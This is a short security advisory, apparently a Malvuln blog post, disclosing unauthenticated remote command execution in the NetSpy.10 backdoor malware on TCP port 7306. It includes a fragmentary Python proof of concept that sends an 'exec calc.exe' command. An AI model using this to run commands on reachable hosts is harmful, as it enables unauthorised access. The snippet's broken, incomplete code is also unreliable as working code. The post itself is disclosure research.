Sunday, April 17, 2022

Backdoor.Win32.NetSpy.10 Remote Command Execution

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.
Family: NetSpy
Type: PE32
MD5: 45d413b46f1d14a45e8fd36921813d62
Vuln ID: MVID-2022-0551
Disclosure: 04/14/2022

from socket import *
import time

CMD="exec c:\\Windows\\system32\\calc.exe"

def chk_res(s):
while True:
res += s.recv(512)
if "\0" in res or "\n" in res or res == "":
return res

def doit():
s.connect((MALWARE_HOST, PORT))

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore